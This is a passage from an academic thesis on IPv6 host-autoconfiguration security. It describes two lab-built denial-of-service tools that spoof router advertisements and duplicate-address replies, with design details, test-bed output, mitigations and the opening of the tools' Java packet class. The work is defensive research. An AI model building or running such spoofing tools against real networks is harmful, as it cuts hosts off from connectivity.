          Sets the type of the ICMPv6 Option Header 
 void setOverride(boolean or)  
          Sets the NA - RA override Flag 
 void setPrefixLifetime(int valid, int preferred)
          Sets the RA Option Prefix Lifetimes the 
same lifetimes are set for all the prefixes 
advertised by the particular RA. 
 Void setRouterLifetime(int routerLifetime)  
          Sets the RA Router Lifetime 
 Void setSolicited(boolean sol)  
          Sets the NA - RA solicited Flag 
 Void setSourceAddress(java.net.Inet6Address src)  
          Sets the IPv6 Source Address 
 Void setTargetAddress(java.net.Inet6Address adr)  
          Sets the NS - NA Target Address 
 Void setType(int type)  
          Sets the ICMPv6 Type 









Return Type Method Name and Description 
 Void calculateChecksum()  
          calculates and sets the ICMPv6 
checksum 
 Void calculatePayloadLength()  
          calculates and sets the ICMPv6 
Payload length 
 Void send(jpcap.JpcapSender sender)  
          Sends an ICMPv6 packet 
Static boolean isICMP6(jpcap.packet.Packet p)  
          This method checks whether a Packet 
is an ICMPv6 
Table 15.   Other methods of ICMP6  
 
B. “ROUTER LIFETIMES DECREASER” ATTACK PROGRAM 
The Rld Class makes use of a JpcapCaptor object to 
capture and process incoming packets. The data members of 
the class are shown below in Table 16, and are not part of 
the class’s interface. The Interface of the Class includes 
the values for the Fake Router Advertisement provided as 














 data member description 






the array of the 
interfaces 
static JpcapCaptor jpcap the JpcapCaptor 
object 
static JpcapSender  sender the JpcapSender 
object 
static ICMP6 fakeRASent A member to hold the 
sent (fake) Router 
Advertisement 
static boolean firstReceived a flag that indicates 
if a router 
advertisement has 
already been received 
static int snaplen 
(initialized to
2000) 
the value for the 
jpcapCaptor snaplen 
 
static boolean promisc 
(initialized to 
false – non 
promiscuous) 
the value for the 
interface's mode 
 
static int to_ms 
(initialized to 
20 ms) 
the value for the 
jpcapCaptor to_ ms 
 
Table 16.   Class Rld private data members 
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1. Program behavior 
The program’s main class captures the network traffic 
using the JpcapCaptor object, and then processes the 
packets calling the method loopPacket of the PacketReceiver 
interface of JpcapCaptor. A method “help()” is implemented 
to handle faulty command line input. Correct command format 
is “java Rld <interface Nr>”. 
The implementation of the receivePacket() method of 
the jpcap.PacketReceiver interface processes only the 
router advertisement messages, by calling the private 
method spoofRouter() where the values of the router 
lifetime, the preferred lifetime and the valid lifetime of 
the Prefix Option are modified to the preset constant 
values (default values are zero). After the modification, 
the checksum is calculated and set. Finally, the new packet 
is injected to the network by the JpcapSender object. 
C. “DAD COLLISION GENERATOR” ATTACK PROGRAM 
The Dcg class also uses JpcapCaptor and JpcapSender 
objects to receive and send packets. The data members and 












 Data member description 
public static 
short 
networkInterface the network interface 
of the tool 
private static 
NetworkInterface[] 








sender the JpcapSender 
object 
Random generator the Random generator 










private static int snaplen 
(initialized to 
2000) 







the value for the 
interface's mode 
 
private static int to_ms 
(initialized to 
20 msec) 
the value for the 
jpcapCaptor to_ms 






















UNSPEC_BYTES Unspecified IPv6 Address (::) 
 
Table 18.   DAD Collision Generator constant fields 
 
1. Program Behavior 
The class’s main method captures the traffic and calls 
the “receivePacket” method for packet processing. The 
“receivePacket” calls the “neighborSpoof” method whenever 
it identifies a neighbor solicitation originating from the 
unspecified address. The “neighborSpoof”, using the ICMP6 
class, generates a neighbor advertisement filling the non-
standard ICMP fields.  The source and target address are 
copied from the target address of the neighbor 
solicitation, in order for the collision to occur. The 
destination address, according to specifications 
[Thomson98], is the “all nodes address”. The solicited flag 
is set to zero and the override flag is set to one. The 
link-layer source address is generated randomly, keeping 
the same first two bytes of the solicitation’s source link 
layer address though, ensuring legality of the MAC address. 
This bogus address is used at the target link-layer address 
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option field and in the link layer header. After the 
checksum is recalculated, the fake neighbor advertisement 
is sent to the network.  
A “help()” method is developed to handle faulty 
command line input. Correct command format is “java Dcg 
<interface Nr>”. 
Chapter IV presents the results of Router Lifetime 
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IV. DENIAL OF SERVICE ATTACKS DURING HOST 
AUTOCONFIGURATION IN IPV6  
A. LAB CONFIGURATION 
The laboratory used for this research was configured 
to simulate an internetwork consisting of two local 
networks communicating with each other via a router. A 
schematic representation follows in Figure 12. 
 
 
Figure 12.   Lab network setup 
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The hosts of the upper network include one Windows XP 
Pro SP2 PC and two Fedora Core 4 Systems. They are 
connected with a Cisco Catalyst 1924 switch, and the 
network that they form is multi-homed, as it is connected 
to two routers that advertise different prefixes. It is 
configured to roughly simulate a part of a corporate 
intranet; one router serves as the gateway to the rest of 
the intranet and the other to the public internet. 
Assignment of specific roles to these routers is not of 
significance for this particular research, but for 
convenience it is assumed that the Cisco router connects 
the network to the public internet (where the lower network 
exists) and the Juniper is a site-local router. 
The lower network is interconnected via a Netgear 
DS104 hub in order to simulate some of the properties of 
the popular wireless networks and, as mentioned before, the 
Cisco router connects it to the upper network. 
The following tables, Tables 19 & 20, show the OS 
version and MAC addresses of the hosts and routers of the 












Subnetwork Node Link-layer address
Windows XP Pro SP2 host 00-12-3f-ad-f2-b2 
Linux Fedora 4 Nr.1 host 
(Linux 2.6.11-1.1369_FC4)
00-12-3f-ad-ca-46 
Linux Fedora 4 Nr.2 host 
(Linux 2.6.11-1.1369_FC4)
00-08-74-41-5e-3f 




00-14-9a-c2-4c-11 Cisco 2610 router  
(Cisco IOS 12.3(15b)) 00-14-9a-c2-4c-13 
Windows XP Pro host 00-12-3f-ad-cb-0f 
Lower 




Windows XP Pro SP2 
Or 
Linux Fedora 4  
(Linux 2.6.11-1.1369_FC4)
00-16-36-3f-69-2f 




Subnetwork Router Prefix Lifetimes in ms 
(preferred/valid)








This lab was used as a test bed for the development 
and analysis of two Denial of Service attacks. The hosts of 
the two local networks simulate the targets, whereas the 
attacker is an external host able to join either network. 
The target of the first attack is the whole set of 
hosts in a local network, and their ability to use their 
global addresses for communication beyond their link; the 
tentative title of the attack being “router lifetimes 
decreaser”. The second attack is focused on specific nodes 
that attempt to join a local network, prohibiting their 
interfaces to initialize a valid IPv6 address; the 
tentative title being “DAD collision generator”. The 
concept, implementation and results of each attack follow. 
B. “ROUTER LIFETIMES DECREASER” ATTACK 
This attack is an instance of router spoofing. As the 
title suggests, it decreases the router lifetime of the 
router advertisements in order to cause the hosts to remove 
the router from the Default Router List. This procedure is 
repeated for all routers on the link, which results in the 
isolation of the subnet.  
1. Theoretical Foundation of the Attack 
There are three lifetimes related to the 
autoconfiguration procedure for global or site-local 
addresses: the valid prefix lifetime, the preferred prefix 
lifetime and the router lifetime. The parameters that are 
advertised via the router advertisements have been 
discussed for possible security implications, such as an 
attacking node attempting to spoof them and decrease their 
lifetime parameters to very short values in order to 
perform Denial of Service attacks. The valid prefix 
lifetime is protected from specific attack, since an 
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unauthorized router can’t change its value to less than two 
hours [Thomson98] and periodic router advertisements are 
sent much more often than that (by default the maximum 
retransmitting time is 3-10 minutes for the routers used 
for this research). Preferred prefix lifetimes do not have 
such limitations. A malicious host acting as a router can 
decrease the preferred lifetime to any short value, even 
zero, and the other hosts will accept the new value. The 
reason for this being that deprecated addresses can be used 
when no preferred address exists [Narten98]. Finally, for a 
possible router lifetime spoofing, no threat mitigation has 
been discussed. 
According to the autoconfiguration specification 
[Thomson98], the router lifetime field of the router 
advertisement applies to its usefulness as a default 
router. This field is a 16-bit unsigned integer, and its 
value is calculated in units of seconds. By default its 
value is three times the maximum router advertisement 
retransmission time. A value of zero means that the router 
should be removed from the host’s Router Default List.  
If the Router Default List of a node is empty, the 
node assumes that all destinations are on-link [Narten98]. 
When attempting to send a message, the node examines its 
Neighbor cache for information about the link-layer address 
of the outgoing message. If no corresponding entry is 
found, the node proceeds to address resolution. Address 
resolution consists of sending a neighbor solicitation and 
waiting for a neighbor advertisement. The scope for both of 
these messages is link-local; no results are expected for 
hosts on different networks. Communication between two 
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hosts on different links, when at least one of them has an 
empty default router list, should not be possible. 
2. Design and Development of the Attack Tool 
The attack tool is designed to “sniff” the incoming 
traffic, “build” bogus datagrams, and “inject” them 
properly into the network. 
During the first phase, the program detects and 
processes only the router advertisement datagrams, silently 
ignoring all other received frames. When a router 
advertisement is received its parameters and structure are 
used for packet crafting. 
The bogus router advertisement has only three 
different parameter values as compared to the original. The 
router lifetime and the prefix lifetimes (valid and 
preferred) are set to zero. Although changing the prefix 
lifetimes should not affect the network’s operation, it was 
interesting to observe the network’s behavior in such 
abnormal situations. Finally, after the new ICMP checksum 
is calculated, a valid router advertisement is injected 
into the network. A simplified timing flow for one host and 




















Figure 13.   Timing diagram of the Router Lifetime Decreaser 
attack 
 
3. Available Procedures for Attack Effectiveness 
Testing 
Ethereal was installed on all hosts to observe and 
analyze the network traffic.  
The directly affected parameters of the aforementioned 
attack include the Default Router List and Prefix List 
[Narten98]. Each operating system uses different data 
structures to hold these conceptual parameters. The 
commands used to obtain such information follow. 
a. Windows XP Pro 
The “ipconfig” command displays the valid 
addresses. Figure 14 displays the command output of the 
Windows client of the upper network. The valid addresses 
(deprecated and preferred) and the two routers’ link-local 
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addresses are displayed. The default router list consists 
of the displayed default gateways. 
 













        Connection-specific DNS Suffix  . :  
 
        IP Address. . . . . . . . . . . : 131.120.65.204 
        Subnet Mask . . . . . . . . . . : 255.255.255.248 
        IP Address. . . . . . . . . . . : 2000::6:1d05:c477:f9b1:29a1 
        IP Address. . . . . . . . . . . : 2000::6:212:3fff:fead:f2b2 
        IP Address. . . . . . . . . . . : 2006::1d05:c477:f9b1:29a1 
        IP Address. . . . . . . . . . . : 2006::c0b7:ec:e7e0:50b4 
        IP Address. . . . . . . . . . . : 2006::5f9:fa5e:e7cb:c67f 
        IP Address. . . . . . . . . . . : 2006::693d:ed19:9bd2:8d04 
        IP Address. . . . . . . . . . . : 2006::808e:1c70:a648:a2d3 
        IP Address. . . . . . . . . . . : 2006::494c:b292:f529:31a7 
        IP Address. . . . . . . . . . . : 2006::dc23:25ff:1427:7db8 
        IP Address. . . . . . . . . . . : 2006::212:3fff:fead:f2b2 
        IP Address. . . . . . . . . . . : fe80::212:3fff:fead:f2b2%4 
        Default Gateway . . . . . . . . : 131.120.65.201 
                                          fe80::204:9aff:fec2:4c11%4 




Tunnel adapter Teredo Tunneling Pseudo-Interface: 
        Connection-specific DNS Suffix  . :  
        IP Address. . . . . . . . . . . . : fe80::5445:5245:444f%5 




Tunnel adapter Automatic Tunneling Pseudo-Interface: 
        Connection-specific DNS Suffix  :  
        IP Address. . . . . . . . . . . : fe80::5efe:131.120.65.204%2 
        Default Gateway . . . . . . . . :  
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The addresses’ lifetimes (and accordingly the 
prefixes’ lifetimes) can be displayed with the “ipv6 if” 
command. The output for the appropriate interface of the 
upper Windows is illustrated in Figure 15. Temporary are 
the anonymous addresses [Narten01]. 
 
Figure 15.   Normal output of “ipv6 if” 
 
Interface 4: Ethernet: Local Area Connection 
  Guid {BF8D9728-8E8A-4BDB-8DAE-F6962E7FBE49} 
  uses Neighbor Discovery 
  uses Router Discovery 
  link-layer address: 00-12-3f-ad-f2-b2 
 
    preferred global 2000::6:1d05:c477:f9b1:29a1, life 
6d18h9m18s/18h6m31s (temporary) 
    preferred global 2000::6:212:3fff:fead:f2b2, life 
29d23h57m54s/6d23h57m54s (public) 
    preferred global 2006::1d05:c477:f9b1:29a1, life 
6d14h15m2s/14h12m15s (temporary) 
    deprecated global 2006::c0b7:ec:e7e0:50b4, life 5d14h17m53s/0s 
(temporary) 
    deprecated global 2006::5f9:fa5e:e7cb:c67f, life 
4d14h20m45s/0s (temporary) 
    deprecated global 2006::693d:ed19:9bd2:8d04, life 
3d14h23m36s/0s (temporary) 
    deprecated global 2006::808e:1c70:a648:a2d3, life 
2d14h26m28s/0s (temporary) 
    deprecated global 2006::494c:b292:f529:31a7, life 38h29m19s/0s 
(temporary) 
    deprecated global 2006::dc23:25ff:1427:7db8, life 14h32m11s/0s 
(temporary) 
    preferred global 2006::212:3fff:fead:f2b2, life 
29d23h59m40s/6d23h59m40s (public) 
    preferred link-local fe80::212:3fff:fead:f2b2, life infinite 
    multicast interface-local ff01::1, 1 refs, not reportable 
    multicast link-local ff02::1, 1 refs, not reportable 
    multicast link-local ff02::1:ffad:f2b2, 3 refs, last reporter 
    multicast link-local ff02::1:ff27:7db8, 1 refs, last reporter 
    multicast link-local ff02::1:ff29:31a7, 1 refs, last reporter 
    multicast link-local ff02::1:ff48:a2d3, 1 refs, last reporter 
    multicast link-local ff02::1:ffd2:8d04, 1 refs, last reporter 
    multicast link-local ff02::1:ffcb:c67f, 1 refs, last reporter 
    multicast link-local ff02::1:ffe0:50b4, 1 refs, last reporter 
    multicast link-local ff02::1:ffb1:29a1, 2 refs, last reporter 
  link MTU 1500 (true link MTU 1500) 
  current hop limit 64 
  reachable time 22000ms (base 30000ms) 
  retransmission interval 1000ms 
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Additional commands to observe a client’s 
behavior are the “ipv6 rc” for the routing table and the 
“ipv6 nc” for the neighbor cache.  
The “ping” command can be used to test 
connectivity. 
b. Linux 
The “ip -6 addr show” displays information on the 
assigned addresses and their lifetimes (Figure 16). 
 
 
Figure 16.   Normal output of “ip -6 addr show” 
 
 
The “ip -6 route show” displays the routing 
table; destination cache and default routers are shown in 
Figure 17. 
2: eth0: <BROADCAST,MULTICAST,UP> mtu 1500 qlen 1000 
    inet6 2000::6:208:74ff:fe41:5e3f/64 scope global dynamic  
       valid_lft 2591856sec preferred_lft 604656sec 
    inet6 2000::2:208:74ff:fe41:5e3f/64 scope global deprecated 
dynamic  
       valid_lft 213590sec preferred_lft -1773610sec 
    inet6 2006::208:74ff:fe41:5e3f/64 scope global dynamic  
       valid_lft 2591983sec preferred_lft 604783sec 
    inet6 fe80::208:74ff:fe41:5e3f/64 scope link  
       valid_lft forever preferred_lft forever 
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Figure 17.   Normal output of “ip -6 route show” 
 
 
Additionally, the command “ip -6 neigh show” displays 
the neighbor cache of a Linux host, and the “ping6” command 
is the IPv6 equivalent of “ping”. 
4. Results of the Attack 
This attack was tested on both sub-networks. The 
results were similar. Detailed results for the upper 
network will be presented. 
After the attacking program started and both of the 
routers sent advertisements, the “Router Prefix Decreaser” 
successfully decreased the routers’ lifetimes and the 
prefix preferred lifetimes to zero. Ethereal captures of 
the legitimate router advertisement and the fake router 
advertisement are shown in Figures 18 & 19 respectively. 
2000:0:0:2::/64 dev eth0  proto kernel  metric 256  mtu 1500 advmss 
1440 metric 10 4294967295 
2000:0:0:6::/64 dev eth0  proto kernel  metric 256  mtu 1500 advmss 
1440 metric 10 4294967295 
2006::/64 dev eth0  proto kernel  metric 256  mtu 1500 advmss 1440 
metric 10 4294967295 
fe80::/64 dev eth0  metric 256  mtu 1500 advmss 1440 metric 10 
4294967295 
fe80::/64 dev eth1  metric 256  mtu 1500 advmss 1440 metric 10 
4294967295 
ff00::/8 dev eth0  metric 256  mtu 1500 advmss 1440 metric 10 
4294967295 
ff00::/8 dev eth1  metric 256  mtu 1500 advmss 1440 metric 10 
4294967295 
default via fe80::214:f6ff:fe81:20db dev eth0  proto kernel  metric 
1024  expires 66sec mtu 1500 advmss 1440 metric 10 64 
default via fe80::204:9aff:fec2:4c11 dev eth0  proto kernel  metric 
1024  expires 1723sec mtu 1500 advmss 1440 metric 10 64 














The routers’ link-local addresses do not show up 
anymore as Default Gateways in all clients as the Default 
Router List is empty. All connectivity tests from and to 
hosts of the lower network are negative. 
 
Figure 20.   Windows Addresses after the Router Lifetime 
Decreaser attack 
 
Interface 4: Ethernet: Local Area Connection 
  Guid {BF8D9728-8E8A-4BDB-8DAE-F6962E7FBE49} 
  uses Neighbor Discovery 
  uses Router Discovery 
  link-layer address: 00-12-3f-ad-f2-b2 
    deprecated global 2000::6:1d05:c477:f9b1:29a1, life 118m18s/0s 
(temporary) 
    deprecated global 2000::6:212:3fff:fead:f2b2, life 118m18s/0s 
(public) 
    deprecated global 2006::1d05:c477:f9b1:29a1, life 119m52s/0s 
(temporary) 
    deprecated global 2006::c0b7:ec:e7e0:50b4, life 119m52s/0s 
(temporary) 
    deprecated global 2006::5f9:fa5e:e7cb:c67f, life 119m52s/0s 
(temporary) 
    deprecated global 2006::693d:ed19:9bd2:8d04, life 119m52s/0s 
(temporary) 
    deprecated global 2006::808e:1c70:a648:a2d3, life 119m52s/0s 
(temporary) 
    deprecated global 2006::494c:b292:f529:31a7, life 119m52s/0s 
(temporary) 
    deprecated global 2006::dc23:25ff:1427:7db8, life 119m52s/0s 
(temporary) 
    deprecated global 2006::212:3fff:fead:f2b2, life 119m52s/0s 
(public) 
    preferred link-local fe80::212:3fff:fead:f2b2, life infinite 
    multicast interface-local ff01::1, 1 refs, not reportable 
    multicast link-local ff02::1, 1 refs, not reportable 
    multicast link-local ff02::1:ffad:f2b2, 3 refs, last reporter 
    multicast link-local ff02::1:ff27:7db8, 1 refs, last reporter 
    multicast link-local ff02::1:ff29:31a7, 1 refs, last reporter 
    multicast link-local ff02::1:ff48:a2d3, 1 refs, last reporter 
    multicast link-local ff02::1:ffd2:8d04, 1 refs, last reporter 
    multicast link-local ff02::1:ffcb:c67f, 1 refs, last reporter 
    multicast link-local ff02::1:ffe0:50b4, 1 refs, last reporter 
    multicast link-local ff02::1:ffb1:29a1, 2 refs, last reporter 
  link MTU 1500 (true link MTU 1500) 
  current hop limit 64 
  reachable time 22000ms (base 30000ms) 
  retransmission interval 1000ms 
  DAD transmits 1 
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 All global addresses appear deprecated, with a valid 
lifetime of two hours (as expected), but connectivity with 
global addresses between Windows clients on-link (the 
attacking host was used for this test) is not affected. 
Windows hosts use deprecated addresses to exchange neighbor 
discovery messages for address resolution on-link. 
However, Linux clients lost connectivity (using global 
addresses) even with neighbors. The result of the empty 
Default Router List combined with the expired preferred 
lifetime of all prefixes was an updated Routing Table with 
no entry for the advertised prefixes. Linux hosts treated 
destinations with the deprecated prefix as unreachable. 
This is an implementation defect in Linux with respect to 
the IP standard. According to the neighbor discovery 
specification [Narten98], if the Default Router List is 
empty, the sender assumes that the destination is on-link; 
and if the Neighbor Cache doesn’t contain a corresponding 
entry, Address Resolution is initiated.  
 
 
Figure 21.   Routing Table of Linux host after the Router 





fe80::/64 dev eth0  metric 256  mtu 1500 advmss 1440 metric 10 
4294967295 
fe80::/64 dev eth1  metric 256  mtu 1500 advmss 1440 metric 10 
4294967295 
ff00::/8 dev eth0  metric 256  mtu 1500 advmss 1440 metric 10 
4294967295 
ff00::/8 dev eth1  metric 256  mtu 1500 advmss 1440 metric 10 
4294967295 
unreachable default dev lo  proto none  metric -1  error -101 metric 
10 255 
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Testing the Router Lifetime Decreaser without 
decreasing the Preferred Prefix did not affect the ability 
of Linux clients to communicate with other hosts using 
their global addresses, as there was an entry for the 
advertised prefixes in the routing table. 
Testing the program by zeroing only the prefix 
lifetimes did not affect communications at all, as 
expected. 
5. Threat Mitigation 
IPv6 specification proposes that authentication 
headers should be incorporated in router advertisement 
messages. Further studies on IPsec authentication 
mechanisms for IPv6 bring out bootstrapping and scalability 
issues of IPsec key management [Arkko05]. 
The particular attack could be avoided if hosts would 
ignore successive router advertisements from the same 
router within the Minimum Router Advertisement Interval. 
The value of this parameter can’t be less than three 
seconds [Narten98], yet while testing the attack, hosts 
received the bogus advertisement within fractions of a 
second from the legitimate one, and they processed it. 
C. “DAD COLLISION GENERATOR” ATTACK 
This attack attempts to deny service to nodes that 
enter the network and are therefore required to perform 
duplicate address detection (DAD) for the autoconfigured 
addresses by responding to all DAD detected. This threat 
was identified in the autoconfiguration specification 
[Thomson98] and in the neighbor discovery threats 




1. Theoretical Foundation of the Attack 
 This attack requires that the attacker is able to 
listen to traffic destined to other nodes and to multicast 
traffic for multicast groups to which the attacker does not 
belong. If this is the case, the attacker can listen to the 
neighbor solicitation messages that originate from the 
unspecified address and identify those messages as DAD 
procedure. By responding to all of those messages and 
indicating that the target address is taken should cause 
joining hosts to be unable to initialize an IPv6 address. 
This Denial of Service attack is a potential threat in 
environments where not all nodes are trusted, or there 
exists a possibility that a host could get compromised. 
2. Design and Development of the Attack Tool 
The software tool developed to implement this attack 
functions in three stages. 
The first stage is network sniffing, in promiscuous 
mode, to capture the datagrams sent to perform DAD. Those 
are network solicitation ICMPv6 messages originating from 
the unspecified address (::). The target address of this 
message is stored, as this will be used as the source 
address that the attacker will use to create the collision. 
The second stage is the crafting of a legitimate 
neighbor advertisement such that the source and the target 
addresses are equal to the stored target address from the 
captured neighbor solicitation. For obvious (to the 
attacker) reasons, the link-layer address that is provided 
in this neighbor advertisement is a randomly generated MAC 
address that is very carefully manufactured, though, to 
simulate a legitimate address (limitations in the 
randomness of the first three bytes are considered). 
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Finally, the manufactured fake neighbor advertisement 
is properly multicasted according to the neighbor discovery 
specification. Figures 22 & 23 illustrate how the DAD 






Figure 22.   DAD Collision Generator forces termination of 








Figure 23.   DAD Collision Generator forces termination of 
Global Address Autoconfiguration (after Ref 
[Davies02]) 
 
3. Available Procedures for Attack Effectiveness 
Testing 
The direct results of the attack should be displayed 
in the assigned address list (no assigned addresses). The 
“ipv6 if” command for Windows and the “ip -6 addr show” for 
Linux should be enough to verify success of the attack. 
4. Results of the Attack 
This attack was tested on the lower network, since it 
provides all nodes the ability to sniff all on-link 
traffic.  
According to the autoconfiguration process [Thomson98] 
DAD should be performed every time a host joins a network, 
or when one of its interfaces is initialized. Testing was 
executed either by disconnecting and reconnecting the 
57 
Ethernet cable, or by running commands that would reset the 
client’s interfaces; that is, “ipv6 renew” for Windows, and 
“ifconfig [interface] [down|up]” for Linux. In Figure 24, 
the Ethereal capture shows one neighbor solicitation of the 
initializing interface, and Figure 25 shows a corresponding 
fake neighbor advertisement from the attacking host, 
implying a collision. 
 




Figure 25.   Fake Neighbor Advertisement – DAD Collision 
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The DAD collision generator was successful for all 
clients’ global addresses. The Windows client was not able 
to initialize an IPv6 (either local or global) address 
while entering the network. The Linux client did not 
perform DAD for the link-local address, thus maintaining 
connectivity on-link.  
5. Threat Mitigation. 
The Internet Engineering Task Force has proposed the 
Secure Neighbor Discovery Protocol [Arkko05], with which 
Cryptographically Generated Addresses are used to make sure 
that the sender of a neighbor discovery message is the 
"owner" of the claimed address [Aura05]. SEND and CGA are, 
as of August 2006, proposed standards, and no 
implementation was found for the operating systems of the 
laboratory test bed. 
If authentication of hosts claiming a tentative 
address can’t be achieved, stateful autoconfiguration with 
the use of a DHCPv6 server could protect joining nodes from 
this attack. 
The following chapter summarizes the conclusions 
derived from the results of the two DOS attacks to the 
autoconfiguration procedure, and proposes future work in 
the area of securing this new IPv6 feature. 
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V. CONCLUSIONS AND FUTURE WORK  
This thesis work developed an extension to a Java 
networking library in order to provide support for the 
crafting and capture of ICMPv6 neighbor discovery messages, 
and implemented two conceptually known threats to the IPv6 
host autoconfiguration process. While the most serious 
effects of the attacks were anticipated, a couple of 
compliance defects in the IPv6 implementation for Linux 
were identified. 
A. CONCLUSIONS 
The major findings from this thesis research are: 
• The new features of IPv6 autoconfiguration are 
focused on user convenience. As always, there is 
a trade-off between convenience and security. 
Both tested DOS attacks were successful. IPv6 
autoconfiguration in environments with non-
trustworthy hosts is prone to attacks, and if 
host authentication cannot be achieved, 
transition to stateful autoconfiguration with the 
use of trusted DHCPv6 servers should be 
considered. 
• The new specifications present authentication 
based on IPsec as the solution to the security 
threats. Since IPsec key management does not 
scale well in public networks [Arko05], other 
methods of authentication need to be developed 
and tested.  
• Besides authentication, an IPv6 implementation 
could incorporate rules that abide by the 
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specification which would protect it from 
potential threats. For example, the Router 
Lifetime Decreaser attack may be unsuccessful if 
the host observed a rule to ignore successive 
router advertisements originating from the same 
router, and less than the Minimum Router 
Advertisement Interval (three seconds according 
to the IPv6 specification [Narden98]) apart.  
• Most existing IPv6 implementations are still 
intended for research and development purposes. 
Even commercial operating systems, like Microsoft 
Windows, state that the provided IPv6 software 
contains pre-release code and must not to be used 
in a production environment. Therefore, it is not 
surprising that two compliance defects were 
identified for the Linux IPv6 stack during this 
limited research; Duplicate Address Detection is 
not performed for the link-local generated 
address and deprecated network identifiers are 
removed from the routing cache. It could be 
assumed that compliance defects exist in a larger 
scale compared to the operational IPv4, and there 
are defects that are not yet identified. 
B. FUTURE WORK 
An extension to the Jpcap library to support more IPv6 
protocols and procedures would provide Java developers more 
capabilities in low-level network programming for 
evaluating IPv6 security. It would also contribute to the 
study of the behavior of various IPv6 implementations in 
non-trivial situations. Possible incorporation of IPsec 
authentication headers in environments that provide open 
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source support of IPsec (KAME project for BSD variants, 
Linux Kernel 2.5 and later among others) may be considered.   
The implementation of all identified threats to the 
host autoconfiguration procedure, and to other IPv6 
introduced features, would help in testing the efficiency 
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 * ICMP6.java 
 * 
 * This Class was developed to support the implementation  
 * of DOS attacks to the host autoconfiguration procedure  
 * in IPv6. It supplements the Jpacp library and  
 * represents an ICMP packet. 
 * 
 * Developed in NetBeans IDE 5.0 
 * Makes use of Jpcap 0.5.1 library 




public class ICMP6 { 
     
    /** 
     * Starting Byte of Link-layer Header "Destination Address" 
     * field 
    */ 
    public static final short LINK_DESTINATION_BYTE = 0; 
 
    /** 
     * Starting Byte Link-layer Header "Source Address" field 
     * (the field length is 6 bytes) 
    */     
    public static final short LINK_SOURCE_BYTE = 6; 
     
    /** 
     * Byte of the Link-layer Header "Packet Type" field 
     * (the field length is 6 bytes) 
    */ 
    public static final short PACKET_TYPE = 12; 
      
    /** 
     * Byte of the Network-layer Header "Version - Priority" 
     * field 
    */ 
    public static final short VERSION_PRIORITY_BYTE = 0; 
     
    /** 
     *  Starting Byte of the Network-layer Header "Payload  
     *  Length" field (field is two bytes long) 
    */     
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    public static final short PAYLOAD_LENGTH_BYTE = 4; 
     
    /** 
     *  Byte of the Network-layer Header "Next Header" field 
    */     
    public static final short NEXT_HEADER_BYTE = 6; 
     
    /** 
     * Byte of the Network-layer Header "Hop Limit" field 
    */     
    public static final short HOP_LIMIT_BYTE = 7;   
     
    /** 
     * Starting Byte of the Network-layer "Source Address" 
     * field (field length is 8 bytes) 
    */     
    public static final short SOURCE_BYTE = 8; 
     
    /** 
     * Starting Byte of the Network-layer "Destination  
     * Address" field (field length is 8 bytes) 
    */     
    public static final short DESTINATION_BYTE = 24; 
     
    /** 
     * Starting Byte of Network-layer's payload 
    */     
    public static final short PAYLOAD_BYTE = 40; 
     
    /** 
     * Byte of the ICMP Header "ICMP Type" field 
    */     
    public static final short ICMP_TYPE_BYTE = 40; 
     
    /** 
     * Byte of the ICMP Header "ICMP Code" field 
    */     
    public static final short ICMP_CODE_BYTE = 41; 
     
    /** 
     * Starting Byte of ICMP Header "ICMP Checksum" field 
     * (field length is 2 bytes) 
    */     
    public static final short ICMP_CHECKSUM_BYTE = 42; 
     
    /** 
     * Starting Byte of the ICMP Body 
    */     
    public static final short ICMP_BODY_BYTE = 44; 
     
    /** 
     * Byte of  the ICMP Neighbor Advertisement 
     * Flags field 
    */ 
    public static final short NA_FLAGS_BYTE = 44; 
     
    /** 
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     * Starting Byte of the ICMP Neighbor Advertisement 
     * "Target Address" field (field length is 8 bytes) 
    */     
    public static final short NA_TARGET_BYTE = 48; 
     
    /** 
     * Starting Byte of the ICMP Neighbor Advertisement 
     * Options headers 
    */     
    public static final short NA_OPTIONS_BYTE = 64; 
     
    /** 
     * Byte of the ICMP Router Advertisement "Autoconfiguration  
     * Flags" fields 
    */     
    public static final short AUTO_CONFIG_FLAGS = 45; 
     
    /** 
     * Byte of the ICMP Router Advertisement "Router Lifetime" 
     * field 
    */     
    public static final short ROUTER_LIFETIME = 46; 
     
    /** 
     * Byte of the ICMP Router Advertisement "Reachable time" 
     * field (field length 4 bytes) 
    */       
    public static final short REACHABLE_TIME = 48; 
     
    /** 
     * Byte of the ICMP Router Advertisement "Retransmission  
     * Timer" field 
    */       
    public static final short RETRANSMISSION_TIMER = 52; 
     
    /** 
     * Starting Byte of the ICMP Router Advertisement Options  
     * Headers 
    */       
    public static final short RA_OPTIONS_BYTE = 56; 
     
    /** 
     * ICMP pseudo header length 
    */   
    public static final short ICMP_PSEUDO_LENGTH = 40; 
     
    /** 
     * Minimum Value of the Network Layer Header  
     * "Version Priority" field for IPv6  
    */   
    public static final int VERSION_PRIORITY_MIN = 96; 
     
    /** 
     * Value of the Network Layer Header "Next-Header" 
     * field indicating ICMPv6 
    */       
    public static final int NEXT_HEADER_ICMP = 58; 
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    /** 
     * Value of ICMPv6 Type for "Echo request" message 
    */   
    public static final short ECHO_REQUEST = 128; 
     
    /** 
     * Value of ICMPv6 Type for "Echo reply" message 
    */       
    public static final short ECHO_REPLY   = 129; 
     
    /** 
     * Value of ICMPv6 Type for "Echo multicast listener  
     * report" message 
    */       
    public static final short MLR         = 131; 
     
    /** 
     * Value of ICMPv6 Type for "Router Solicitation" 
     * message 
    */       
    public static final short RS          = 133; 
     
    /** 
     * Value of ICMPv6 Type for "Router Advertisement" 
     * message 
    */       
    public static final short RA          = 134; 
     
    /** 
     * Value of ICMPv6 Type for "Neighbor Solicitation" 
     * message 
    */       
    public static final short NS          = 135; 
     
    /** 
     * Value of ICMPv6 Type for "Neighbor Advertisement"  
     * message 
    */ 
    public static final short NA          = 136; 
     
    /** 
     * Value of ICMPv6 Type for "Redirect" message 
    */       
    public static final short REDIRECT    = 137; 
     
    /** 
     * Value of the ICMPv6 Option Header for a  
     * "Source Link Layer Address" option 
    */   
    public static final short SOURCE_LINK_LAYER_ADDRESS = 1; 
     
    /** 
     * Value of the ICMPv6 Option Header for a  
     * "Target Link Layer Address" option 
    */      
    public static final short TARGET_LINK_LAYER_ADDRESS = 2; 
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    /** 
     * Value of the ICMPv6 Option Header for a  
     * "Prefix Information" option 
    */      
    public static final short PREFIX_INFORMATION = 3; 
     
    /** 
     * Value of the ICMPv6 Option Header for an 
     * "MTU" option 
    */      
    public static final short MTU = 5; 
     
    /** 
     * Byte of the ICMPv6 Option Header "Option Length" field 
     * (byte count from the start of the Option Header) 
    */  
    public static final short OPTION_LENGTH_BYTE = 1; 
     
    /** 
     * Starting Byte of the ICMPv6 Option "Link Layer Address" 
